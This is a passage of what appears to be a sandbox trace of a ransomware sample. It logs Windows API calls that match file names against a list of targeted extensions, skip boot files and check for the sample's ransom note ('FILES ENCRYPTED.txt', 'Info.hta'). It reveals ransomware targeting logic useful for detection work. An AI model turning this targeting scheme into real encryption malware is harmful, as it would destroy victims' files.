lpString2="api.js") returned -1 [0286.845] lstrlenW (lpString=".accdc") returned 6 [0286.845] lstrcmpiW (lpString1=".accdc", lpString2="api.js") returned -1 [0286.845] lstrlenW (lpString=".accde") returned 6 [0286.845] lstrcmpiW (lpString1=".accde", lpString2="api.js") returned -1 [0286.845] lstrlenW (lpString=".accdt") returned 6 [0286.845] lstrcmpiW (lpString1=".accdt", lpString2="api.js") returned -1 [0286.845] lstrlenW (lpString=".accdw") returned 6 [0286.845] lstrcmpiW (lpString1=".accdw", lpString2="api.js") returned -1 [0286.845] lstrlenW (lpString=".adb") returned 4 [0286.845] lstrcmpiW (lpString1=".adb", lpString2="i.js") returned -1 [0286.845] lstrlenW (lpString=".adp") returned 4 [0286.846] lstrcmpiW (lpString1=".adp", lpString2="i.js") returned -1 [0286.846] lstrlenW (lpString=".ai") returned 3 [0286.846] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0286.846] lstrlenW (lpString=".ai3") returned 4 [0286.846] lstrcmpiW (lpString1=".ai3", lpString2="i.js") returned -1 [0286.846] lstrlenW (lpString=".ai4") returned 4 [0286.846] lstrcmpiW (lpString1=".ai4", lpString2="i.js") returned -1 [0286.846] lstrlenW (lpString=".ai5") returned 4 [0286.846] lstrcmpiW (lpString1=".ai5", lpString2="i.js") returned -1 [0286.846] lstrlenW (lpString=".ai6") returned 4 [0286.846] lstrcmpiW (lpString1=".ai6", lpString2="i.js") returned -1 [0286.846] lstrlenW (lpString=".ai7") returned 4 [0286.846] lstrcmpiW (lpString1=".ai7", lpString2="i.js") returned -1 [0286.846] lstrlenW (lpString=".ai8") returned 4 [0286.846] lstrcmpiW (lpString1=".ai8", lpString2="i.js") returned -1 [0286.846] lstrlenW (lpString=".anim") returned 5 [0286.846] lstrcmpiW (lpString1=".anim", lpString2="pi.js") returned -1 [0286.846] lstrlenW (lpString=".arw") returned 4 [0286.846] lstrcmpiW (lpString1=".arw", lpString2="i.js") returned -1 [0286.846] lstrlenW (lpString=".as") returned 3 [0286.846] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0286.846] lstrlenW (lpString=".asa") returned 4 [0286.846] lstrcmpiW (lpString1=".asa", lpString2="i.js") returned -1 [0286.846] lstrlenW (lpString=".asc") returned 4 [0286.846] lstrcmpiW (lpString1=".asc", lpString2="i.js") returned -1 [0286.847] lstrlenW (lpString=".ascx") returned 5 [0286.847] lstrcmpiW (lpString1=".ascx", lpString2="pi.js") returned -1 [0286.847] lstrlenW (lpString=".asm") returned 4 [0286.847] lstrcmpiW (lpString1=".asm", lpString2="i.js") returned -1 [0286.847] lstrlenW (lpString=".asmx") returned 5 [0286.847] lstrcmpiW (lpString1=".asmx", lpString2="pi.js") returned -1 [0286.847] lstrlenW (lpString=".asp") returned 4 [0286.847] lstrcmpiW (lpString1=".asp", lpString2="i.js") returned -1 [0286.847] lstrlenW (lpString=".aspx") returned 5 [0286.847] lstrcmpiW (lpString1=".aspx", lpString2="pi.js") returned -1 [0286.847] lstrlenW (lpString=".asr") returned 4 [0286.847] lstrcmpiW (lpString1=".asr", lpString2="i.js") returned -1 [0286.847] lstrlenW (lpString=".asx") returned 4 [0286.847] lstrcmpiW (lpString1=".asx", lpString2="i.js") returned -1 [0286.847] lstrlenW (lpString=".avi") returned 4 [0286.848] lstrcmpiW (lpString1=".avi", lpString2="i.js") returned -1 [0286.848] lstrlenW (lpString=".avs") returned 4 [0286.848] lstrcmpiW (lpString1=".avs", lpString2="i.js") returned -1 [0286.848] lstrlenW (lpString=".backup") returned 7 [0286.848] lstrcmpiW (lpString1=".backup", lpString2="-api.js") returned -1 [0286.848] lstrlenW (lpString=".bak") returned 4 [0286.848] lstrcmpiW (lpString1=".bak", lpString2="i.js") returned -1 [0286.848] lstrlenW (lpString=".bay") returned 4 [0286.848] lstrcmpiW (lpString1=".bay", lpString2="i.js") returned -1 [0286.848] lstrlenW (lpString=".bd") returned 3 [0286.848] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0286.848] lstrlenW (lpString=".bin") returned 4 [0286.848] lstrcmpiW (lpString1=".bin", lpString2="i.js") returned -1 [0286.848] lstrlenW (lpString=".bmp") returned 4 [0286.848] lstrcmpiW (lpString1=".bmp", lpString2="i.js") returned -1 [0286.848] lstrlenW (lpString=".bz2") returned 4 [0286.848] lstrcmpiW (lpString1=".bz2", lpString2="i.js") returned -1 [0286.848] lstrlenW (lpString=".c") returned 2 [0286.848] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0286.848] lstrlenW (lpString=".cdr") returned 4 [0286.848] lstrcmpiW (lpString1=".cdr", lpString2="i.js") returned -1 [0286.848] lstrlenW (lpString=".cer") returned 4 [0286.848] lstrcmpiW (lpString1=".cer", lpString2="i.js") returned -1 [0286.848] lstrlenW (lpString=".cf") returned 3 [0286.848] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0286.849] lstrlenW (lpString=".cfc") returned 4 [0286.849] lstrcmpiW (lpString1=".cfc", lpString2="i.js") returned -1 [0286.849] lstrlenW (lpString=".cfm") returned 4 [0286.849] lstrcmpiW (lpString1=".cfm", lpString2="i.js") returned -1 [0286.849] lstrlenW (lpString=".cfml") returned 5 [0286.849] lstrcmpiW (lpString1=".cfml", lpString2="pi.js") returned -1 [0286.849] lstrlenW (lpString=".cfu") returned 4 [0286.849] lstrcmpiW (lpString1=".cfu", lpString2="i.js") returned -1 [0286.849] lstrlenW (lpString=".chm") returned 4 [0286.849] lstrcmpiW (lpString1=".chm", lpString2="i.js") returned -1 [0286.849] lstrlenW (lpString=".cin") returned 4 [0286.849] lstrcmpiW (lpString1=".cin", lpString2="i.js") returned -1 [0286.849] lstrlenW (lpString=".class") returned 6 [0286.849] lstrcmpiW (lpString1=".class", lpString2="api.js") returned -1 [0286.849] lstrlenW (lpString=".clx") returned 4 [0286.849] lstrcmpiW (lpString1=".clx", lpString2="i.js") returned -1 [0286.849] lstrlenW (lpString=".config") returned 7 [0286.849] lstrcmpiW (lpString1=".config", lpString2="-api.js") returned -1 [0286.849] lstrlenW (lpString=".cpp") returned 4 [0286.849] lstrcmpiW (lpString1=".cpp", lpString2="i.js") returned -1 [0286.849] lstrlenW (lpString=".cr2") returned 4 [0286.849] lstrcmpiW (lpString1=".cr2", lpString2="i.js") returned -1 [0286.849] lstrlenW (lpString=".crt") returned 4 [0286.849] lstrcmpiW (lpString1=".crt", lpString2="i.js") returned -1 [0286.849] lstrlenW (lpString=".crw") returned 4 [0286.850] lstrcmpiW (lpString1=".crw", lpString2="i.js") returned -1 [0286.850] lstrlenW (lpString=".cs") returned 3 [0286.850] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0286.850] lstrlenW (lpString=".css") returned 4 [0286.850] lstrcmpiW (lpString1=".css", lpString2="i.js") returned -1 [0286.850] lstrlenW (lpString=".csv") returned 4 [0286.850] lstrcmpiW (lpString1=".csv", lpString2="i.js") returned -1 [0286.850] lstrlenW (lpString=".cub") returned 4 [0286.850] lstrcmpiW (lpString1=".cub", lpString2="i.js") returned -1 [0286.850] lstrlenW (lpString=".dae") returned 4 [0286.850] lstrcmpiW (lpString1=".dae", lpString2="i.js") returned -1 [0286.850] lstrlenW (lpString=".dat") returned 4 [0286.850] lstrcmpiW (lpString1=".dat", lpString2="i.js") returned -1 [0286.850] lstrlenW (lpString=".db") returned 3 [0286.850] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0286.850] lstrlenW (lpString=".dbf") returned 4 [0286.850] lstrcmpiW (lpString1=".dbf", lpString2="i.js") returned -1 [0286.850] lstrlenW (lpString=".dbx") returned 4 [0286.850] lstrcmpiW (lpString1=".dbx", lpString2="i.js") returned -1 [0286.850] lstrlenW (lpString=".dc3") returned 4 [0286.850] lstrcmpiW (lpString1=".dc3", lpString2="i.js") returned -1 [0286.850] lstrlenW (lpString=".dcm") returned 4 [0286.850] lstrcmpiW (lpString1=".dcm", lpString2="i.js") returned -1 [0286.850] lstrlenW (lpString=".dcr") returned 4 [0286.850] lstrcmpiW (lpString1=".dcr", lpString2="i.js") returned -1 [0286.851] lstrlenW (lpString=".der") returned 4 [0286.851] lstrcmpiW (lpString1=".der", lpString2="i.js") returned -1 [0286.851] lstrlenW (lpString=".dib") returned 4 [0286.851] lstrcmpiW (lpString1=".dib", lpString2="i.js") returned -1 [0286.851] lstrlenW (lpString=".dic") returned 4 [0286.851] lstrcmpiW (lpString1=".dic", lpString2="i.js") returned -1 [0286.851] lstrlenW (lpString=".dif") returned 4 [0286.851] lstrcmpiW (lpString1=".dif", lpString2="i.js") returned -1 [0286.851] lstrlenW (lpString=".divx") returned 5 [0286.851] lstrcmpiW (lpString1=".divx", lpString2="pi.js") returned -1 [0286.851] lstrlenW (lpString=".djvu") returned 5 [0286.851] lstrcmpiW (lpString1=".djvu", lpString2="pi.js") returned -1 [0286.851] lstrlenW (lpString=".dng") returned 4 [0286.851] lstrcmpiW (lpString1=".dng", lpString2="i.js") returned -1 [0286.851] lstrlenW (lpString=".doc") returned 4 [0286.851] lstrcmpiW (lpString1=".doc", lpString2="i.js") returned -1 [0286.851] lstrlenW (lpString=".docm") returned 5 [0286.851] lstrcmpiW (lpString1=".docm", lpString2="pi.js") returned -1 [0286.851] lstrlenW (lpString=".docx") returned 5 [0286.851] lstrcmpiW (lpString1=".docx", lpString2="pi.js") returned -1 [0286.851] lstrlenW (lpString=".dot") returned 4 [0286.851] lstrcmpiW (lpString1=".dot", lpString2="i.js") returned -1 [0286.851] lstrlenW (lpString=".dotm") returned 5 [0286.851] lstrcmpiW (lpString1=".dotm", lpString2="pi.js") returned -1 [0286.851] lstrlenW (lpString=".dotx") returned 5 [0286.852] lstrcmpiW (lpString1=".dotx", lpString2="pi.js") returned -1 [0286.852] lstrlenW (lpString=".dpx") returned 4 [0286.852] lstrcmpiW (lpString1=".dpx", lpString2="i.js") returned -1 [0286.852] lstrlenW (lpString=".dqy") returned 4 [0286.852] lstrcmpiW (lpString1=".dqy", lpString2="i.js") returned -1 [0286.852] lstrlenW (lpString=".dsn") returned 4 [0286.852] lstrcmpiW (lpString1=".dsn", lpString2="i.js") returned -1 [0286.852] lstrlenW (lpString=".dt") returned 3 [0286.852] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0286.852] lstrlenW (lpString=".dtd") returned 4 [0286.852] lstrcmpiW (lpString1=".dtd", lpString2="i.js") returned -1 [0286.852] lstrlenW (lpString=".dwg") returned 4 [0286.852] lstrcmpiW (lpString1=".dwg", lpString2="i.js") returned -1 [0286.852] lstrlenW (lpString=".dwt") returned 4 [0286.852] lstrcmpiW (lpString1=".dwt", lpString2="i.js") returned -1 [0286.852] lstrlenW (lpString=".dx") returned 3 [0286.852] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0286.852] lstrlenW (lpString=".dxf") returned 4 [0286.852] lstrcmpiW (lpString1=".dxf", lpString2="i.js") returned -1 [0286.852] lstrlenW (lpString=".edml") returned 5 [0286.852] lstrcmpiW (lpString1=".edml", lpString2="pi.js") returned -1 [0286.852] lstrlenW (lpString=".efd") returned 4 [0286.852] lstrcmpiW (lpString1=".efd", lpString2="i.js") returned -1 [0286.852] lstrlenW (lpString=".elf") returned 4 [0286.853] lstrcmpiW (lpString1=".elf", lpString2="i.js") returned -1 [0286.853] lstrlenW (lpString=".emf") returned 4 [0286.853] lstrcmpiW (lpString1=".emf", lpString2="i.js") returned -1 [0286.853] lstrlenW (lpString=".emz") returned 4 [0286.853] lstrcmpiW (lpString1=".emz", lpString2="i.js") returned -1 [0286.853] lstrlenW (lpString=".epf") returned 4 [0286.853] lstrcmpiW (lpString1=".epf", lpString2="i.js") returned -1 [0286.853] lstrlenW (lpString=".eps") returned 4 [0286.853] lstrcmpiW (lpString1=".eps", lpString2="i.js") returned -1 [0286.853] lstrlenW (lpString=".epsf") returned 5 [0286.853] lstrcmpiW (lpString1=".epsf", lpString2="pi.js") returned -1 [0286.853] lstrlenW (lpString=".epsp") returned 5 [0286.853] lstrcmpiW (lpString1=".epsp", lpString2="pi.js") returned -1 [0286.853] lstrlenW (lpString=".erf") returned 4 [0286.853] lstrcmpiW (lpString1=".erf", lpString2="i.js") returned -1 [0286.853] lstrlenW (lpString=".exr") returned 4 [0286.853] lstrcmpiW (lpString1=".exr", lpString2="i.js") returned -1 [0286.853] lstrlenW (lpString=".f4v") returned 4 [0286.853] lstrcmpiW (lpString1=".f4v", lpString2="i.js") returned -1 [0286.853] lstrlenW (lpString=".fido") returned 5 [0286.853] lstrcmpiW (lpString1=".fido", lpString2="pi.js") returned -1 [0286.853] lstrlenW (lpString=".flm") returned 4 [0286.853] lstrcmpiW (lpString1=".flm", lpString2="i.js") returned -1 [0286.853] lstrlenW (lpString=".flv") returned 4 [0286.853] lstrcmpiW (lpString1=".flv", lpString2="i.js") returned -1 [0286.854] lstrlenW (lpString=".frm") returned 4 [0286.854] lstrcmpiW (lpString1=".frm", lpString2="i.js") returned -1 [0286.854] lstrlenW (lpString=".fxg") returned 4 [0286.854] lstrcmpiW (lpString1=".fxg", lpString2="i.js") returned -1 [0286.854] lstrlenW (lpString=".geo") returned 4 [0286.854] lstrcmpiW (lpString1=".geo", lpString2="i.js") returned -1 [0286.854] lstrlenW (lpString=".gif") returned 4 [0286.854] lstrcmpiW (lpString1=".gif", lpString2="i.js") returned -1 [0286.854] lstrlenW (lpString=".grs") returned 4 [0286.854] lstrcmpiW (lpString1=".grs", lpString2="i.js") returned -1 [0286.854] lstrlenW (lpString=".gz") returned 3 [0286.854] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0286.854] lstrlenW (lpString=".h") returned 2 [0286.854] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0286.854] lstrlenW (lpString=".hdr") returned 4 [0286.854] lstrcmpiW (lpString1=".hdr", lpString2="i.js") returned -1 [0286.854] lstrlenW (lpString=".hpp") returned 4 [0286.854] lstrcmpiW (lpString1=".hpp", lpString2="i.js") returned -1 [0286.854] lstrlenW (lpString=".hta") returned 4 [0286.854] lstrcmpiW (lpString1=".hta", lpString2="i.js") returned -1 [0286.854] lstrlenW (lpString=".htc") returned 4 [0286.854] lstrcmpiW (lpString1=".htc", lpString2="i.js") returned -1 [0286.854] lstrlenW (lpString=".htm") returned 4 [0286.854] lstrcmpiW (lpString1=".htm", lpString2="i.js") returned -1 [0286.855] lstrlenW (lpString=".html") returned 5 [0286.855] lstrcmpiW (lpString1=".html", lpString2="pi.js") returned -1 [0286.855] lstrlenW (lpString=".icb") returned 4 [0286.855] lstrcmpiW (lpString1=".icb", lpString2="i.js") returned -1 [0286.855] lstrlenW (lpString=".ics") returned 4 [0286.855] lstrcmpiW (lpString1=".ics", lpString2="i.js") returned -1 [0286.855] lstrlenW (lpString=".iff") returned 4 [0286.855] lstrcmpiW (lpString1=".iff", lpString2="i.js") returned -1 [0286.855] lstrlenW (lpString=".inc") returned 4 [0286.855] lstrcmpiW (lpString1=".inc", lpString2="i.js") returned -1 [0286.855] lstrlenW (lpString=".indd") returned 5 [0286.855] lstrcmpiW (lpString1=".indd", lpString2="pi.js") returned -1 [0286.855] lstrlenW (lpString=".ini") returned 4 [0286.855] lstrcmpiW (lpString1=".ini", lpString2="i.js") returned -1 [0286.855] lstrlenW (lpString=".iqy") returned 4 [0286.855] lstrcmpiW (lpString1=".iqy", lpString2="i.js") returned -1 [0286.855] lstrlenW (lpString=".j2c") returned 4 [0286.855] lstrcmpiW (lpString1=".j2c", lpString2="i.js") returned -1 [0286.855] lstrlenW (lpString=".j2k") returned 4 [0286.855] lstrcmpiW (lpString1=".j2k", lpString2="i.js") returned -1 [0286.855] lstrlenW (lpString=".java") returned 5 [0286.855] lstrcmpiW (lpString1=".java", lpString2="pi.js") returned -1 [0286.855] lstrlenW (lpString=".jp2") returned 4 [0286.855] lstrcmpiW (lpString1=".jp2", lpString2="i.js") returned -1 [0286.856] lstrlenW (lpString=".jpc") returned 4 [0286.856] lstrcmpiW (lpString1=".jpc", lpString2="i.js") returned -1 [0286.856] lstrlenW (lpString=".jpe") returned 4 [0286.856] lstrcmpiW (lpString1=".jpe", lpString2="i.js") returned -1 [0286.856] lstrlenW (lpString=".jpeg") returned 5 [0286.856] lstrcmpiW (lpString1=".jpeg", lpString2="pi.js") returned -1 [0286.856] lstrlenW (lpString=".jpf") returned 4 [0286.856] lstrcmpiW (lpString1=".jpf", lpString2="i.js") returned -1 [0286.856] lstrlenW (lpString=".jpg") returned 4 [0286.856] lstrcmpiW (lpString1=".jpg", lpString2="i.js") returned -1 [0286.856] lstrlenW (lpString=".jpx") returned 4 [0286.856] lstrcmpiW (lpString1=".jpx", lpString2="i.js") returned -1 [0286.856] lstrlenW (lpString=".js") returned 3 [0286.856] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0286.856] lstrlenW (lpString="app-api.js") returned 10 [0286.856] lstrlenW (lpString=".carcn") returned 6 [0286.856] lstrcmpiW (lpString1=".carcn", lpString2="api.js") returned -1 [0286.856] lstrlenW (lpString="app-api.js") returned 10 [0286.856] lstrcmpiW (lpString1="boot.ini", lpString2="app-api.js") returned 1 [0286.856] lstrcmpiW (lpString1="bootfont.bin", lpString2="app-api.js") returned 1 [0286.856] lstrcmpiW (lpString1="ntldr", lpString2="app-api.js") returned 1 [0286.856] lstrcmpiW (lpString1="ntdetect.com", lpString2="app-api.js") returned 1 [0286.856] lstrcmpiW (lpString1="io.sys", lpString2="app-api.js") returned 1 [0286.856] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="app-api.js") returned 1 [0286.856] lstrcmpiW (lpString1="Info.hta", lpString2="app-api.js") returned 1 [0286.856] lstrcmpiW (lpString1="chrome64b.exe", lpString2="app-api.js") returned 1 [0286.857] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js") returned 109 [0286.857] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0286.857] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0286.857] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.857] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0286.857] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.857] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0286.857] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0286.857] lstrlenW (lpString="config.js") returned 9 [0286.857] lstrlenW (lpString=".1cd") returned 4 [0286.857] lstrcmpiW (lpString1=".1cd", lpString2="g.js") returned -1 [0286.857] lstrlenW (lpString=".3ds") returned 4 [0286.857] lstrcmpiW (lpString1=".3ds", lpString2="g.js") returned -1 [0286.857] lstrlenW (lpString=".3fr") returned 4 [0286.857] lstrcmpiW (lpString1=".3fr", lpString2="g.js") returned -1 [0286.857] lstrlenW (lpString=".3g2") returned 4 [0286.857] lstrcmpiW (lpString1=".3g2", lpString2="g.js") returned -1 [0286.858] lstrlenW (lpString=".3gp") returned 4 [0286.858] lstrcmpiW (lpString1=".3gp", lpString2="g.js") returned -1 [0286.858] lstrlenW (lpString=".7z") returned 3 [0286.858] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0286.858] lstrlenW (lpString=".accda") returned 6 [0286.858] lstrcmpiW (lpString1=".accda", lpString2="fig.js") returned -1 [0286.858] lstrlenW (lpString=".accdb") returned 6 [0286.858] lstrcmpiW (lpString1=".accdb", lpString2="fig.js") returned -1 [0286.858] lstrlenW (lpString=".accdc") returned 6 [0286.858] lstrcmpiW (lpString1=".accdc", lpString2="fig.js") returned -1 [0286.858] lstrlenW (lpString=".accde") returned 6 [0286.858] lstrcmpiW (lpString1=".accde", lpString2="fig.js") returned -1 [0286.858] lstrlenW (lpString=".accdt") returned 6 [0286.858] lstrcmpiW (lpString1=".accdt", lpString2="fig.js") returned -1 [0286.858] lstrlenW (lpString=".accdw") returned 6 [0286.858] lstrcmpiW (lpString1=".accdw", lpString2="fig.js") returned -1 [0286.859] lstrlenW (lpString=".adb") returned 4 [0286.859] lstrcmpiW (lpString1=".adb", lpString2="g.js") returned -1 [0286.859] lstrlenW (lpString=".adp") returned 4 [0286.859] lstrcmpiW (lpString1=".adp", lpString2="g.js") returned -1 [0286.859] lstrlenW (lpString=".ai") returned 3 [0286.859] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0286.859] lstrlenW (lpString=".ai3") returned 4 [0286.859] lstrcmpiW (lpString1=".ai3", lpString2="g.js") returned -1 [0286.859] lstrlenW (lpString=".ai4") returned 4 [0286.859] lstrcmpiW (lpString1=".ai4", lpString2="g.js") returned -1 [0286.859] lstrlenW (lpString=".ai5") returned 4 [0286.859] lstrcmpiW (lpString1=".ai5", lpString2="g.js") returned -1 [0286.859] lstrlenW (lpString=".ai6") returned 4 [0286.859] lstrcmpiW (lpString1=".ai6", lpString2="g.js") returned -1 [0286.859] lstrlenW (lpString=".ai7") returned 4 [0286.859] lstrcmpiW (lpString1=".ai7", lpString2="g.js") returned -1 [0286.859] lstrlenW (lpString=".ai8") returned 4 [0286.859] lstrcmpiW (lpString1=".ai8", lpString2="g.js") returned -1 [0286.859] lstrlenW (lpString=".anim") returned 5 [0286.859] lstrcmpiW (lpString1=".anim", lpString2="ig.js") returned -1 [0286.859] lstrlenW (lpString=".arw") returned 4 [0286.859] lstrcmpiW (lpString1=".arw", lpString2="g.js") returned -1 [0286.859] lstrlenW (lpString=".as") returned 3 [0286.859] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0286.860] lstrlenW (lpString=".asa") returned 4 [0286.860] lstrcmpiW (lpString1=".asa", lpString2="g.js") returned -1 [0286.860] lstrlenW (lpString=".asc") returned 4 [0286.860] lstrcmpiW (lpString1=".asc", lpString2="g.js") returned -1 [0286.860] lstrlenW (lpString=".ascx") returned 5 [0286.860] lstrcmpiW (lpString1=".ascx", lpString2="ig.js") returned -1 [0286.860] lstrlenW (lpString=".asm") returned 4 [0286.860] lstrcmpiW (lpString1=".asm", lpString2="g.js") returned -1 [0286.860] lstrlenW (lpString=".asmx") returned 5 [0286.860] lstrcmpiW (lpString1=".asmx", lpString2="ig.js") returned -1 [0286.860] lstrlenW (lpString=".asp") returned 4 [0286.860] lstrcmpiW (lpString1=".asp", lpString2="g.js") returned -1 [0286.860] lstrlenW (lpString=".aspx") returned 5 [0286.860] lstrcmpiW (lpString1=".aspx", lpString2="ig.js") returned -1 [0286.860] lstrlenW (lpString=".asr") returned 4 [0286.860] lstrcmpiW (lpString1=".asr", lpString2="g.js") returned -1 [0286.860] lstrlenW (lpString=".asx") returned 4 [0286.860] lstrcmpiW (lpString1=".asx", lpString2="g.js") returned -1 [0286.860] lstrlenW (lpString=".avi") returned 4 [0286.860] lstrcmpiW (lpString1=".avi", lpString2="g.js") returned -1 [0286.860] lstrlenW (lpString=".avs") returned 4 [0286.860] lstrcmpiW (lpString1=".avs", lpString2="g.js") returned -1 [0286.860] lstrlenW (lpString=".backup") returned 7 [0286.860] lstrcmpiW (lpString1=".backup", lpString2="nfig.js") returned -1 [0286.861] lstrlenW (lpString=".bak") returned 4 [0286.861] lstrcmpiW (lpString1=".bak", lpString2="g.js") returned -1 [0286.861] lstrlenW (lpString=".bay") returned 4 [0286.861] lstrcmpiW (lpString1=".bay", lpString2="g.js") returned -1 [0286.861] lstrlenW (lpString=".bd") returned 3 [0286.861] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0286.861] lstrlenW (lpString=".bin") returned 4 [0286.861] lstrcmpiW (lpString1=".bin", lpString2="g.js") returned -1 [0286.861] lstrlenW (lpString=".bmp") returned 4 [0286.861] lstrcmpiW (lpString1=".bmp", lpString2="g.js") returned -1 [0286.861] lstrlenW (lpString=".bz2") returned 4 [0286.861] lstrcmpiW (lpString1=".bz2", lpString2="g.js") returned -1 [0286.861] lstrlenW (lpString=".c") returned 2 [0286.861] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0286.861] lstrlenW (lpString=".cdr") returned 4 [0286.861] lstrcmpiW (lpString1=".cdr", lpString2="g.js") returned -1 [0286.861] lstrlenW (lpString=".cer") returned 4 [0286.861] lstrcmpiW (lpString1=".cer", lpString2="g.js") returned -1 [0286.861] lstrlenW (lpString=".cf") returned 3 [0286.861] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0286.861] lstrlenW (lpString=".cfc") returned 4 [0286.861] lstrcmpiW (lpString1=".cfc", lpString2="g.js") returned -1 [0286.861] lstrlenW (lpString=".cfm") returned 4 [0286.861] lstrcmpiW (lpString1=".cfm", lpString2="g.js") returned -1 [0286.862] lstrlenW (lpString=".cfml") returned 5 [0286.862] lstrcmpiW (lpString1=".cfml", lpString2="ig.js") returned -1 [0286.862] lstrlenW (lpString=".cfu") returned 4 [0286.862] lstrcmpiW (lpString1=".cfu", lpString2="g.js") returned -1 [0286.862] lstrlenW (lpString=".chm") returned 4 [0286.862] lstrcmpiW (lpString1=".chm", lpString2="g.js") returned -1 [0286.862] lstrlenW (lpString=".cin") returned 4 [0286.862] lstrcmpiW (lpString1=".cin", lpString2="g.js") returned -1 [0286.862] lstrlenW (lpString=".class") returned 6 [0286.862] lstrcmpiW (lpString1=".class", lpString2="fig.js") returned -1 [0286.862] lstrlenW (lpString=".clx") returned 4 [0286.862] lstrcmpiW (lpString1=".clx", lpString2="g.js") returned -1 [0286.862] lstrlenW (lpString=".config") returned 7 [0286.862] lstrcmpiW (lpString1=".config", lpString2="nfig.js") returned -1 [0286.862] lstrlenW (lpString=".cpp") returned 4 [0286.862] lstrcmpiW (lpString1=".cpp", lpString2="g.js") returned -1 [0286.862] lstrlenW (lpString=".cr2") returned 4 [0286.862] lstrcmpiW (lpString1=".cr2", lpString2="g.js") returned -1 [0286.862] lstrlenW (lpString=".crt") returned 4 [0286.862] lstrcmpiW (lpString1=".crt", lpString2="g.js") returned -1 [0286.862] lstrlenW (lpString=".crw") returned 4 [0286.862] lstrcmpiW (lpString1=".crw", lpString2="g.js") returned -1 [0286.862] lstrlenW (lpString=".cs") returned 3 [0286.862] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0286.863] lstrlenW (lpString=".css") returned 4 [0286.863] lstrcmpiW (lpString1=".css", lpString2="g.js") returned -1 [0286.863] lstrlenW (lpString=".csv") returned 4 [0286.863] lstrcmpiW (lpString1=".csv", lpString2="g.js") returned -1 [0286.863] lstrlenW (lpString=".cub") returned 4 [0286.863] lstrcmpiW (lpString1=".cub", lpString2="g.js") returned -1 [0286.863] lstrlenW (lpString=".dae") returned 4 [0286.863] lstrcmpiW (lpString1=".dae", lpString2="g.js") returned -1 [0286.863] lstrlenW (lpString=".dat") returned 4 [0286.863] lstrcmpiW (lpString1=".dat", lpString2="g.js") returned -1 [0286.863] lstrlenW (lpString=".db") returned 3 [0286.863] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0286.863] lstrlenW (lpString=".dbf") returned 4 [0286.863] lstrcmpiW (lpString1=".dbf", lpString2="g.js") returned -1 [0286.864] lstrlenW (lpString=".dbx") returned 4 [0286.864] lstrcmpiW (lpString1=".dbx", lpString2="g.js") returned -1 [0286.864] lstrlenW (lpString=".dc3") returned 4 [0286.864] lstrcmpiW (lpString1=".dc3", lpString2="g.js") returned -1 [0286.864] lstrlenW (lpString=".dcm") returned 4 [0286.864] lstrcmpiW (lpString1=".dcm", lpString2="g.js") returned -1 [0286.864] lstrlenW (lpString=".dcr") returned 4 [0286.864] lstrcmpiW (lpString1=".dcr", lpString2="g.js") returned -1 [0286.864] lstrlenW (lpString=".der") returned 4 [0286.864] lstrcmpiW (lpString1=".der", lpString2="g.js") returned -1 [0286.864] lstrlenW (lpString=".dib") returned 4 [0286.864] lstrcmpiW (lpString1=".dib", lpString2="g.js") returned -1 [0286.864] lstrlenW (lpString=".dic") returned 4 [0286.864] lstrcmpiW (lpString1=".dic", lpString2="g.js") returned -1 [0286.864] lstrlenW (lpString=".dif") returned 4 [0286.864] lstrcmpiW (lpString1=".dif", lpString2="g.js") returned -1 [0286.864] lstrlenW (lpString=".divx") returned 5 [0286.864] lstrcmpiW (lpString1=".divx", lpString2="ig.js") returned -1 [0286.864] lstrlenW (lpString=".djvu") returned 5 [0286.864] lstrcmpiW (lpString1=".djvu", lpString2="ig.js") returned -1 [0286.864] lstrlenW (lpString=".dng") returned 4 [0286.864] lstrcmpiW (lpString1=".dng", lpString2="g.js") returned -1 [0286.864] lstrlenW (lpString=".doc") returned 4 [0286.864] lstrcmpiW (lpString1=".doc", lpString2="g.js") returned -1 [0286.865] lstrlenW (lpString=".docm") returned 5 [0286.865] lstrcmpiW (lpString1=".docm", lpString2="ig.js") returned -1 [0286.865] lstrlenW (lpString=".docx") returned 5 [0286.865] lstrcmpiW (lpString1=".docx", lpString2="ig.js") returned -1 [0286.865] lstrlenW (lpString=".dot") returned 4 [0286.865] lstrcmpiW (lpString1=".dot", lpString2="g.js") returned -1 [0286.865] lstrlenW (lpString=".dotm") returned 5 [0286.865] lstrcmpiW (lpString1=".dotm", lpString2="ig.js") returned -1 [0286.865] lstrlenW (lpString=".dotx") returned 5 [0286.865] lstrcmpiW (lpString1=".dotx", lpString2="ig.js") returned -1 [0286.865] lstrlenW (lpString=".dpx") returned 4 [0286.865] lstrcmpiW 